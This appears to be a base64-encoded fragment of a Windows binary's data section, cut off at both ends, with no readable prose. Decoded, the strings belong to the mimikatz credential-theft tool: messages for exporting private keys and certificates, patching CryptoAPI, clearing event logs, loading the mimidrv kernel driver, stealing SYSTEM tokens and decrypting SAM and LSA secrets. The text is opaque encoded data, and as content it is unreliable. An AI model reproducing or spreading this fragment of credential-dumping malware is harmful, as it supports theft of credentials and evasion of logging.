IAeQBwAHQAbwAAAAAAQwByAHkAcAB0AG8AIABNAG8AZAB1AGwAZQAAAHIAcwBhAGUAbgBoAAAAAABDUEV4cG9ydEtleQBuAGMAcgB5AHAAdAAAAAAATkNyeXB0T3BlblN0b3JhZ2VQcm92aWRlcgAAAE5DcnlwdEVudW1LZXlzAABOQ3J5cHRPcGVuS2V5AAAATkNyeXB0SW1wb3J0S2V5AE5DcnlwdEV4cG9ydEtleQBOQ3J5cHRHZXRQcm9wZXJ0eQAAAE5DcnlwdFNldFByb3BlcnR5AAAATkNyeXB0RnJlZUJ1ZmZlcgAAAABOQ3J5cHRGcmVlT2JqZWN0AAAAAEJDcnlwdEVudW1SZWdpc3RlcmVkUHJvdmlkZXJzAAAAQkNyeXB0RnJlZUJ1ZmZlcgAAAAAKAEMAcgB5AHAAdABvAEEAUABJACAAcAByAG8AdgBpAGQAZQByAHMAIAA6AAoAAAAlADIAdQAuACAAJQBzAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AcAByAG8AdgBpAGQAZQByAHMAIAA7ACAAQwByAHkAcAB0AEUAbgB1AG0AUAByAG8AdgBpAGQAZQByAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAACgBDAE4ARwAgAHAAcgBvAHYAaQBkAGUAcgBzACAAOgAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AcAByAG8AdgBpAGQAZQByAHMAIAA7ACAAQgBDAHIAeQBwAHQARQBuAHUAbQBSAGUAZwBpAHMAdABlAHIAZQBkAFAAcgBvAHYAaQBkAGUAcgBzACAAKAAwAHgAJQAwADgAeAApAAoAAABDAFUAUgBSAEUATgBUAF8AVQBTAEUAUgAAAAAAcwB5AHMAdABlAG0AcwB0AG8AcgBlAAAAQQBzAGsAaQBuAGcAIABmAG8AcgAgAFMAeQBzAHQAZQBtACAAUwB0AG8AcgBlACAAJwAlAHMAJwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAHMAdABvAHIAZQBzACAAOwAgAEMAZQByAHQARQBuAHUAbQBTAHkAcwB0AGUAbQBTAHQAbwByAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAATQB5AAAAAABzAHQAbwByAGUAAAAgACoAIABTAHkAcwB0AGUAbQAgAFMAdABvAHIAZQAgACAAOgAgACcAJQBzACcAIAAoADAAeAAlADAAOAB4ACkACgAgACoAIABTAHQAbwByAGUAIAAgACAAIAAgACAAIAAgACAAOgAgACcAJQBzACcACgAKAAAAAAAoAG4AdQBsAGwAKQAAAAAACQBLAGUAeQAgAEMAbwBuAHQAYQBpAG4AZQByACAAIAA6ACAAJQBzAAoACQBQAHIAbwB2AGkAZABlAHIAIAAgACAAIAAgACAAIAA6ACAAJQBzAAoAAAAAAAkAVAB5AHAAZQAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzACAAOwAgAEMAcgB5AHAAdABHAGUAdABVAHMAZQByAEsAZQB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAawBlAHkAUwBwAGUAYwAgAD0APQAgAEMARQBSAFQAXwBOAEMAUgBZAFAAVABfAEsARQBZAF8AUwBQAEUAQwAgAHcAaQB0AGgAbwB1AHQAIABDAE4ARwAgAEgAYQBuAGQAbABlACAAPwAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzACAAOwAgAEMAcgB5AHAAdABBAGMAcQB1AGkAcgBlAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBQAHIAaQB2AGEAdABlAEsAZQB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzACAAOwAgAEMAZQByAHQARwBlAHQAQwBlAHIAdABpAGYAaQBjAGEAdABlAEMAbwBuAHQAZQB4AHQAUAByAG8AcABlAHIAdAB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzACAAOwAgAEMAZQByAHQARwBlAHQATgBhAG0AZQBTAHQAcgBpAG4AZwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBjAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAgADsAIABDAGUAcgB0AEcAZQB0AE4AYQBtAGUAUwB0AHIAaQBuAGcAIAAoAGYAbwByACAAbABlAG4AKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzACAAOwAgAEMAZQByAHQATwBwAGUAbgBTAHQAbwByAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAcAByAG8AdgBpAGQAZQByAAAAAABwAHIAbwB2AGkAZABlAHIAdAB5AHAAZQAAAAAAAAAAAE0AaQBjAHIAbwBzAG8AZgB0ACAAUwBvAGYAdAB3AGEAcgBlACAASwBlAHkAIABTAHQAbwByAGEAZwBlACAAUAByAG8AdgBpAGQAZQByAAAAYwBuAGcAcAByAG8AdgBpAGQAZQByAAAAIAAqACAAUwB0AG8AcgBlACAAIAAgACAAIAAgACAAIAAgADoAIAAnACUAcwAnAAoAIAAqACAAUAByAG8AdgBpAGQAZQByACAAIAAgACAAIAAgADoAIAAnACUAcwAnACAAKAAnACUAcwAnACkACgAgACoAIABQAHIAbwB2AGkAZABlAHIAIAB0AHkAcABlACAAOgAgACcAJQBzACcAIAAoACUAdQApAAoAIAAqACAAQwBOAEcAIABQAHIAbwB2AGkAZABlAHIAIAAgADoAIAAnACUAcwAnAAoAAAAAAAoAQwByAHkAcAB0AG8AQQBQAEkAIABrAGUAeQBzACAAOgAKAAAAAAAKACUAMgB1AC4AIAAlAHMACgAAACAAIAAgACAAJQBTAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGsAZQB5AHMAIAA7ACAAQwByAHkAcAB0AEcAZQB0AFUAcwBlAHIASwBlAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBrAGUAeQBzACAAOwAgAEMAcgB5AHAAdABHAGUAdABQAHIAbwB2AFAAYQByAGEAbQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAKAEMATgBHACAAawBlAHkAcwAgADoACgAAAAAAVQBuAGkAcQB1AGUAIABOAGEAbQBlAAAAIAAgACAAIAAlAHMACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AawBlAHkAcwAgADsAIABOAEMAcgB5AHAAdABPAHAAZQBuAEsAZQB5ACAAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBrAGUAeQBzACAAOwAgAE4AQwByAHkAcAB0AEUAbgB1AG0ASwBlAHkAcwAgACUAMAA4AHgACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGsAZQB5AHMAIAA7ACAATgBDAHIAeQBwAHQATwBwAGUAbgBTAHQAbwByAGEAZwBlAFAAcgBvAHYAaQBkAGUAcgAgACUAMAA4AHgACgAAAAAARQB4AHAAbwByAHQAIABQAG8AbABpAGMAeQAAAEwAZQBuAGcAdABoAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AcAByAGkAbgB0AEsAZQB5AEkAbgBmAG8AcwAgADsAIABOAEMAcgB5AHAAdABHAGUAdABQAHIAbwBwAGUAcgB0AHkAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBwAHIAaQBuAHQASwBlAHkASQBuAGYAbwBzACAAOwAgAEMAcgB5AHAAdABHAGUAdABLAGUAeQBQAGEAcgBhAG0AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAWQBFAFMAAABOAE8AAAAAAAkARQB4AHAAbwByAHQAYQBiAGwAZQAgAGsAZQB5ACAAOgAgACUAcwAKAAkASwBlAHkAIABzAGkAegBlACAAIAAgACAAIAAgACAAOgAgACUAdQAKAAAAAABSAFMAQQBQAFIASQBWAEEAVABFAEIATABPAEIAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABSAGEAdwBLAGUAeQBUAG8ARgBpAGwAZQAgADsAIABOAEMAcgB5AHAAdABTAGUAdABQAHIAbwBwAGUAcgB0AHkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABSAGEAdwBLAGUAeQBUAG8ARgBpAGwAZQAgADsAIABOAEMAcgB5AHAAdABJAG0AcABvAHIAdABLAGUAeQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABSAGEAdwBLAGUAeQBUAG8ARgBpAGwAZQAgADsAIABOAG8AIABDAE4ARwAhAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AFIAYQB3AEsAZQB5AFQAbwBGAGkAbABlACAAOwAgAEMAcgB5AHAAdABJAG0AcABvAHIAdABLAGUAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAQwBBAFAASQBQAFIASQBWAEEAVABFAEIATABPAEIAAABPAEsAAAAAAEsATwAAAAAACQBQAHIAaQB2AGEAdABlACAAZQB4AHAAbwByAHQAIAA6ACAAJQBzACAALQAgAAAAJwAlAHMAJwAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AEsAZQB5AFQAbwBGAGkAbABlACAAOwAgAEUAeABwAG8AcgB0ACAALwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABLAGUAeQBUAG8ARgBpAGwAZQAgADsAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZwBlAG4AZQByAGEAdABlAEYAaQBsAGUATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABkAGUAcgAAAAkAUAB1AGIAbABpAGMAIABlAHgAcABvAHIAdAAgACAAOgAgACUAcwAgAC0AIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABDAGUAcgB0ACAAOwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZQB4AHAAbwByAHQAQwBlAHIAdAAgADsAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZwBlAG4AZQByAGEAdABlAEYAaQBsAGUATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAcABmAHgAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AEMAZQByAHQAIAA7ACAARQB4AHAAbwByAHQAIAAvACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZQB4AHAAbwByAHQAUABmAHgAIAA7ACAAUABGAFgARQB4AHAAbwByAHQAQwBlAHIAdABTAHQAbwByAGUARQB4ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBEAGUAcgBBAG4AZABLAGUAeQBUAG8AUABmAHgAIAA7ACAAQwByAHkAcAB0AEkAbQBwAG8AcgB0AEsAZQB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAEQAZQByAEEAbgBkAEsAZQB5AFQAbwBQAGYAeAAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAGQAZQBsAGUAdABlACAAdABlAG0AcAAgAGsAZQB5AHMAZQB0ACAAJQBzAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAEQAZQByAEEAbgBkAEsAZQB5AFQAbwBQAGYAeAAgADsAIABDAHIAeQBwAHQAQQBjAHEAdQBpAHIAZQBDAG8AbgB0AGUAeAB0ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBEAGUAcgBBAG4AZABLAGUAeQBUAG8AUABmAHgAIAA7ACAAQwBlAHIAdABBAGQAZABFAG4AYwBvAGQAZQBkAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBUAG8AUwB0AG8AcgBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAlAHMAXwAlAHMAXwAlAHUAXwAlAHMALgAlAHMAAAAAAE4AVABMAE0AOgAgAAAAAABEAEMAQwAxADoAIAAAAAAARABDAEMAMgA6ACAAAAAAAEwATQAgACAAOgAgAAAAAABNAEQANQAgADoAIAAAAAAAUwBIAEEAMQA6ACAAAAAAAFMASABBADIAOgAgAAAAAAByAHMAYQBlAG4AaAAuAGQAbABsAAAAAABMAG8AYwBhAGwAIABDAHIAeQBwAHQAbwBBAFAASQAgAHAAYQB0AGMAaABlAGQACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBwAF8AYwBhAHAAaQAgADsAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAHAAXwBjAGEAcABpACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFYAZQByAHkAQgBhAHMAaQBjAE0AbwBkAHUAbABlAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAG4AYwByAHkAcAB0AC4AZABsAGwAAAAAAG4AYwByAHkAcAB0AHAAcgBvAHYALgBkAGwAbAAAAAAASwBlAHkASQBzAG8AAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBwAF8AYwBuAGcAIAA7ACAATgBvACAAQwBOAEcACgAAAGQAcgBvAHAAAAAAAAAAAABbAGUAeABwAGUAcgBpAG0AZQBuAHQAYQBsAF0AIABwAGEAdABjAGgAIABFAHYAZQBuAHQAcwAgAHMAZQByAHYAaQBjAGUAIAB0AG8AIABhAHYAbwBpAGQAIABuAGUAdwAgAGUAdgBlAG4AdABzAAAAYwBsAGUAYQByAAAAQwBsAGUAYQByACAAYQBuACAAZQB2AGUAbgB0ACAAbABvAGcAAAAAAGUAdgBlAG4AdAAAAEUAdgBlAG4AdAAgAG0AbwBkAHUAbABlAAAAAABlAHYAZQBuAHQAbABvAGcALgBkAGwAbAAAAAAAdwBlAHYAdABzAHYAYwAuAGQAbABsAAAARQB2AGUAbgB0AEwAbwBnAAAAAABTAGUAYwB1AHIAaQB0AHkAAAAAAGwAbwBnAAAAVQBzAGkAbgBnACAAIgAlAHMAIgAgAGUAdgBlAG4AdAAgAGwAbwBnACAAOgAKAAAALQAgACUAdQAgAGUAdgBlAG4AdAAoAHMAKQAKAAAAAAAtACAAQwBsAGUAYQByAGUAZAAgACEACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZQB2AGUAbgB0AF8AYwBsAGUAYQByACAAOwAgAEMAbABlAGEAcgBFAHYAZQBuAHQATABvAGcAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBlAHYAZQBuAHQAXwBjAGwAZQBhAHIAIAA7ACAATwBwAGUAbgBFAHYAZQBuAHQATABvAGcAIAAoADAAeAAlADAAOAB4ACkACgAAACsAAABJAG4AcwB0AGEAbABsACAAYQBuAGQALwBvAHIAIABzAHQAYQByAHQAIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgACgAbQBpAG0AaQBkAHIAdgApAAAAAAAtAAAAAAAAAFIAZQBtAG8AdgBlACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIAAoAG0AaQBtAGkAZAByAHYAKQAAAAAAcABpAG4AZwAAAAAAUABpAG4AZwAgAHQAaABlACAAZAByAGkAdgBlAHIAAABiAHMAbwBkAAAAAABCAFMATwBEACAAIQAAAAAAcAByAG8AYwBlAHMAcwAAAEwAaQBzAHQAIABwAHIAbwBjAGUAcwBzAAAAAABwAHIAbwBjAGUAcwBzAFAAcgBvAHQAZQBjAHQAAAAAAFAAcgBvAHQAZQBjAHQAIABwAHIAbwBjAGUAcwBzAAAAcAByAG8AYwBlAHMAcwBUAG8AawBlAG4AAAAAAEQAdQBwAGwAaQBjAGEAdABlACAAcAByAG8AYwBlAHMAcwAgAHQAbwBrAGUAbgAAAHAAcgBvAGMAZQBzAHMAUAByAGkAdgBpAGwAZQBnAGUAAAAAAFMAZQB0ACAAYQBsAGwAIABwAHIAaQB2AGkAbABlAGcAZQAgAG8AbgAgAHAAcgBvAGMAZQBzAHMAAAAAAG0AbwBkAHUAbABlAHMAAABMAGkAcwB0ACAAbQBvAGQAdQBsAGUAcwAAAAAAcwBzAGQAdAAAAAAATABpAHMAdAAgAFMAUwBEAFQAAABuAG8AdABpAGYAUAByAG8AYwBlAHMAcwAAAAAATABpAHMAdAAgAHAAcgBvAGMAZQBzAHMAIABuAG8AdABpAGYAeQAgAGMAYQBsAGwAYgBhAGMAawBzAAAAbgBvAHQAaQBmAFQAaAByAGUAYQBkAAAATABpAHMAdAAgAHQAaAByAGUAYQBkACAAbgBvAHQAaQBmAHkAIABjAGEAbABsAGIAYQBjAGsAcwAAAAAAbgBvAHQAaQBmAEkAbQBhAGcAZQAAAAAATABpAHMAdAAgAGkAbQBhAGcAZQAgAG4AbwB0AGkAZgB5ACAAYwBhAGwAbABiAGEAYwBrAHMAAABuAG8AdABpAGYAUgBlAGcAAAAAAEwAaQBzAHQAIAByAGUAZwBpAHMAdAByAHkAIABuAG8AdABpAGYAeQAgAGMAYQBsAGwAYgBhAGMAawBzAAAAAABuAG8AdABpAGYATwBiAGoAZQBjAHQAAABMAGkAcwB0ACAAbwBiAGoAZQBjAHQAIABuAG8AdABpAGYAeQAgAGMAYQBsAGwAYgBhAGMAawBzAAAAAABuAG8AdABpAGYAUAByAG8AYwBlAHMAcwBSAGUAbQBvAHYAZQAAAAAAUgBlAG0AbwB2AGUAIABwAHIAbwBjAGUAcwBzACAAbgBvAHQAaQBmAHkAIABjAGEAbABsAGIAYQBjAGsAAAAAAG4AbwB0AGkAZgBPAGIAagBlAGMAdABSAGUAbQBvAHYAZQAAAFIAZQBtAG8AdgBlACAAbwBiAGoAZQBjAHQAIABuAG8AdABpAGYAeQAgAGMAYQBsAGwAYgBhAGMAawAAAGYAaQBsAHQAZQByAHMAAABMAGkAcwB0ACAARgBTACAAZgBpAGwAdABlAHIAcwAAAG0AaQBuAGkAZgBpAGwAdABlAHIAcwAAAEwAaQBzAHQAIABtAGkAbgBpAGYAaQBsAHQAZQByAHMAAAAAAG0AaQBtAGkAZAByAHYALgBzAHkAcwAAAG0AaQBtAGkAZAByAHYAAABbACsAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAYQBsAHIAZQBhAGQAeQAgAHIAZQBnAGkAcwB0AGUAcgBlAGQACgAAAFsAKgBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIABuAG8AdAAgAHAAcgBlAHMAZQBuAHQACgAAAAAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIAAoAG0AaQBtAGkAZAByAHYAKQAAAFsAKwBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIABzAHUAYwBjAGUAcwBzAGYAdQBsAGwAeQAgAHIAZQBnAGkAcwB0AGUAcgBlAGQACgAAAAAAAAAAAFsAKwBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIABBAEMATAAgAHQAbwAgAGUAdgBlAHIAeQBvAG4AZQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAGEAZABkAF8AbQBpAG0AaQBkAHIAdgAgADsAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAVwBvAHIAbABkAFQAbwBNAGkAbQBpAGsAYQB0AHoAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBhAGQAZABfAG0AaQBtAGkAZAByAHYAIAA7ACAAQwByAGUAYQB0AGUAUwBlAHIAdgBpAGMAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBhAGQAZABfAG0AaQBtAGkAZAByAHYAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AaQBzAEYAaQBsAGUARQB4AGkAcwB0ACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAGcAZQB0AEEAYgBzAG8AbAB1AHQAZQBQAGEAdABoAE8AZgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBhAGQAZABfAG0AaQBtAGkAZAByAHYAIAA7ACAATwBwAGUAbgBTAGUAcgB2AGkAYwBlACAAKAAwAHgAJQAwADgAeAApAAoAAABbACsAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAcwB0AGEAcgB0AGUAZAAKAAAAAAAAAAAAWwAqAF0AIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgAGEAbAByAGUAYQBkAHkAIABzAHQAYQByAHQAZQBkAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAFMAdABhAHIAdABTAGUAcgB2AGkAYwBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAE8AcABlAG4AUwBDAE0AYQBuAGEAZwBlAHIAKABjAHIAZQBhAHQAZQApACAAKAAwAHgAJQAwADgAeAApAAoAAABbACsAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAcwB0AG8AcABwAGUAZAAKAAAAAABbACoAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAbgBvAHQAIAByAHUAbgBuAGkAbgBnAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AcgBlAG0AbwB2AGUAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAGsAdQBsAGwAXwBtAF8AcwBlAHIAdgBpAGMAZQBfAHMAdABvAHAAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAWwArAF0AIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgAHIAZQBtAG8AdgBlAGQACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwByAGUAbQBvAHYAZQBfAG0AaQBtAGkAZAByAHYAIAA7ACAAawB1AGwAbABfAG0AXwBzAGUAcgB2AGkAYwBlAF8AcgBlAG0AbwB2AGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAcgBlAG0AbwB2AGUAAAAAAFAAcgBvAGMAZQBzAHMAIAA6ACAAJQBzAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AcAByAG8AYwBlAHMAcwBQAHIAbwB0AGUAYwB0ACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFAAcgBvAGMAZQBzAHMASQBkAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAHAAaQBkAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBwAHIAbwBjAGUAcwBzAFAAcgBvAHQAZQBjAHQAIAA7ACAAQQByAGcAdQBtAGUAbgB0ACAALwBwAHIAbwBjAGUAcwBzADoAcAByAG8AZwByAGEAbQAuAGUAeABlACAAbwByACAALwBwAGkAZAA6AHAAcgBvAGMAZQBzAHMAaQBkACAAbgBlAGUAZABlAGQACgAAAAAAAAAAAFAASQBEACAAJQB1ACAALQA+ACAAJQAwADIAeAAvACUAMAAyAHgAIABbACUAMQB4AC0AJQAxAHgALQAlADEAeABdAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBwAHIAbwBjAGUAcwBzAFAAcgBvAHQAZQBjAHQAIAA7ACAATgBvACAAUABJAEQACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBwAHIAbwBjAGUAcwBzAFAAcgBvAHQAZQBjAHQAIAA7ACAAUAByAG8AdABlAGMAdABlAGQAIABwAHIAbwBjAGUAcwBzACAAbgBvAHQAIABhAHYAYQBpAGwAYQBiAGwAZQAgAGIAZQBmAG8AcgBlACAAVwBpAG4AZABvAHcAcwAgAFYAaQBzAHQAYQAKAAAAAABmAHIAbwBtAAAAAAB0AG8AAAAAAAAAAABUAG8AawBlAG4AIABmAHIAbwBtACAAcAByAG8AYwBlAHMAcwAgACUAdQAgAHQAbwAgAHAAcgBvAGMAZQBzAHMAIAAlAHUACgAAAAAAAAAAACAAKgAgAGYAcgBvAG0AIAAwACAAdwBpAGwAbAAgAHQAYQBrAGUAIABTAFkAUwBUAEUATQAgAHQAbwBrAGUAbgAKAAAAAAAAACAAKgAgAHQAbwAgADAAIAB3AGkAbABsACAAdABhAGsAZQAgAGEAbABsACAAJwBjAG0AZAAnACAAYQBuAGQAIAAnAG0AaQBtAGkAawBhAHQAegAnACAAcAByAG8AYwBlAHMAcwAKAAAAVABhAHIAZwBlAHQAIAA9ACAAMAB4ACUAcAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AbgBvAHQAaQBmAHkARwBlAG4AZQByAGkAYwBSAGUAbQBvAHYAZQAgADsAIABOAG8AIABhAGQAZAByAGUAcwBzAD8ACgAAAAAAcwBhAG0AAABHAGUAdAAgAHQAaABlACAAUwB5AHMASwBlAHkAIAB0AG8AIABkAGUAYwByAHkAcAB0ACAAUwBBAE0AIABlAG4AdAByAGkAZQBzACAAKABmAHIAbwBtACAAcgBlAGcAaQBzAHQAcgB5ACAAbwByACAAaABpAHYAZQBzACkAAAAAAHMAZQBjAHIAZQB0AHMAAABHAGUAdAAgAHQAaABlACAAUwB5AHMASwBlAHkAIAB0AG8AIABkAGUAYwByAHkAcAB0ACAAUwBFAEMAUgBFAFQAUwAgAGUAbgB0AHIAaQBlAHMAIAAoAGYAcgBvAG0AIAByAGUAZwBpAHMAdAByAHkAIABvAHIAIABoAGkAdgBlAHMAKQAAAAAARwBlAH